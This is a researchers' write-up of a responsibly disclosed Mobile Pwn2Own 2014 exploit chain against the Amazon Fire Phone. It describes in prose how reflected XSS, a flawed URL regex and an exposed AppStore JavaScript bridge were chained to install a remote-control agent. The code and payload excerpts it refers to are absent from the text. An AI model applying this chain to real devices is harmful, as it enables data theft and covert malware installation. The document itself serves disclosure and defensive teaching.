Set Fire to the Phone

In collaboration with the Zero Day Initiative (ZDI) the vulnerabilities were responsibly disclosed to Amazon, which concluded with the public release of the advisories on ZDI’s website. The advisories published are high level summaries of the vulnerabilities exploited, with no clear indication of how the vulnerabilities were chained together. This document aims to provide a more in depth explanation of how the researchers were able to use these vulnerabilities to create a domino effect that started with browsing to a simple web page and ended in the installation of persistent malware.

ZDI announced Mobile Pwn2Own 2014 on the 2nd of September 2014. The announcement included the prize pool, a list of devices that could be targeted and the 2014 competition rules. The list of targets for the competition was mainly composed of predictable devices, such as the Samsung S5, Apple iPhone 5S, Google Nexus 5 and 7; but a few wildcards managed to make the list, one of which was the Amazon Fire Phone.

The characteristics listed below, among others, were what made the researchers set their sights on the Amazon Fire Phone:

1. The Fire Phone was unique, in comparison to the other devices, as it was the only first generation device included in the list of devices.
2. The lack of any known exploits against the device at the time of the announcement was encouraging, as the competition rules stipulated that only zero-day (previously unknown vulnerabilities) may be used.
3. The source code of the device was also not open source, thus limiting the number of researchers that could realistically target the device.
4. The device’s operating system was Fire OS 3.5.1, which is a fork of Android 4.2.2 and was already regarded as outdated at the time of the announcement.

Once the researchers had decided that they would target the Amazon Fire Phone, it was necessary to obtain a device. This was not a straight forward task as the device could not be purchased locally in South Africa. In order to get the device, it was necessary to order it from the USA and have it shipped to Johannesburg. This process took over 2 weeks, which significantly reduced the workable timeline available to the researchers – keeping in mind that the competition took place on the 12th of November.

The process that was followed to analyse the device, discover the vulnerabilities and develop a working exploit is summarised below:

1. Extract all the applications on the device
2. Decompile each application and create workable projects
3. Systematically perform a source code review of each application
4. Combine identified vulnerabilities into an exploit chain
5. Develop a stable proof concept, including the demo environment

While reviewing source code, it was found that the Amazon AppStore made use of a JavaScript interface, however, since the application’s minimumSdk was set to API level 17 a reflection attack could not be used to execute arbitrary code. Instead, it was determined that the interface exposed certain methods which bridged some of the major Inter-Process Communication (IPC) mechanisms of the Android framework. These methods accepted JSON structures that defined the various properties of Intents. The Amazon AppStore would parse these structures and instantiate Intent objects which were then used as arguments for the various IPC function calls.

The excerpt below contains simplified versions of the two methods that proved to be the most useful:

The second service that was identified was the InstallService, which shared the same faults as the DownloadService in that it did not whitelist the locations from which an APK could be installed from.

As with the DownloadService, the JSON structure that was used for the exploit is given below:

Although it had been determined that the exposed methods could be abused to install an arbitrary package, it was only possible to do so by installing a CA certificate on the device and Man-in-the-Middling the connection. This prerequisite was not within the rules of Mobile Pwn2Own as the device needed to be changed from its default configuration and thus it was necessary to find an alternative method of injecting arbitrary JavaScript into the content loaded by the WebView.

In pursuit of an acceptable alternative, information that had been gathered earlier was re-examined; information such as all the intent filters defined in the AppStore’s manifest. It was determined that the BowlDeepLinkActivity’s intent filter could be used to start the AppStore from the browser. The AppStore would use parameters included in the URL to perform specific actions, such as querying Amazon’s web services using a specified search term.

An excerpt from the manifest containing this intent filter is shown below:

By testing the intent filter with various parameters, it was noted that the search term would be reflected back in the HTTP response by Amazon’s web services. The opportunity for cross-site scripting (XSS) was quickly identified and tested using common payloads.

What was discovered through this testing is that it was possible to breakout of the script tags in which the search term was being reflected by adding a closing script tag. However, exploiting the XSS vulnerability was not as straight forward as it initially seemed; the web services did make use of a blacklist XSS filter. The table below summarises some of the payloads that were tested and the results that the webserver returned for each test case:

Additional challenges that had to be contended with were that the payload was length limited and automated XSS testing was avoided in order to minimise the likelihood that the vulnerability would be detected by Amazon’s systems.

However, the researchers were finally able to find an XSS payload that could be used to add content to the webpage, while maintaining the validity of the webpage’s mark-up. It was possible to add a closing script tag and an iframe with a source attribute set to the same location as that of the parent WebView. Any URLs that did not match the parent WebView would not be requested, resulting in an empty iframe.

The URL used to trigger the intent filter is given below:

The following HTML excerpt shows the payload’s result:

The URL of the iframe had to be identical to that of the parent WebVew and thus it was not possible to inject a payload that could exploit the JavaScript interface. The controls that were preventing the WebView from loading arbitrary web resources were inspected and it was noted that two independent inclusive regexes were used to determine the validity of the URLs requested by the WebView. No flaws were apparent in the first regex, the same was not true for the second, which failed to include the scheme section of URL in its pattern. This allowed URLs that would result in clear text requests to be injected.

The modified XSS payload is shown below:

Using all of the vulnerabilities discussed above, it was possible to create a simple webpage that would trigger the intent filter when browsed to on the Fire Phone. Controlling the gateway of a WiFi access point was within the rules of Mobile Pwn2Own and thus it was possible to direct all HTTP traffic to a local HTTP server. The server was configured to respond with a webpage containing the JSON structures and JavaScript code used to exploit the JavaScript interface. The same HTTP server hosted a drozer agent that, when installed, would connect back to a drozer server. Using the drozer agent, it was demonstrated that it was possible to extract all of the SMS messages on the device, make phone calls on the user’s behalf, and extract any data from the device’s SDcard.

All the vulnerabilities were reported to Amazon at Mobile Pwn2Own 2014 and were subsequently patched within a week. After a suitable time period, ZDI decided to release the advisories for these vulnerabilities, after which it was possible to publish this document.

The key aspects to highlight in this exploit chain is that at no point were native or memory based attacks utilised. All the vulnerabilities were limited to flaws within the Amazon Appstore ecosystem for the Amazon Fire Phone. It is often seen that remote code execution exploits are solely in the realm of low level flaws such as buffer overflows, however, this is not always the case.

The distinction between browsers and applications is becoming less clear with the progression of mobile platforms; consequently, it is important that attack vectors that are not localised to a device are considered. A holistic and integrated approach should be taken when developing applications that make use of online services.

• ZDI-15-158 – (Mobile Pwn2Own) Amazon App Store Search String Cross-Site Scripting Vulnerability
• ZDI-15-159 – (Mobile Pwn2Own) Amazon App Store JavaScript Bridge Remote Code Execution Vulnerability
• ZDI-15-160 – (Mobile Pwn2Own) Amazon App Store HTTPS Downgrade Vulnerability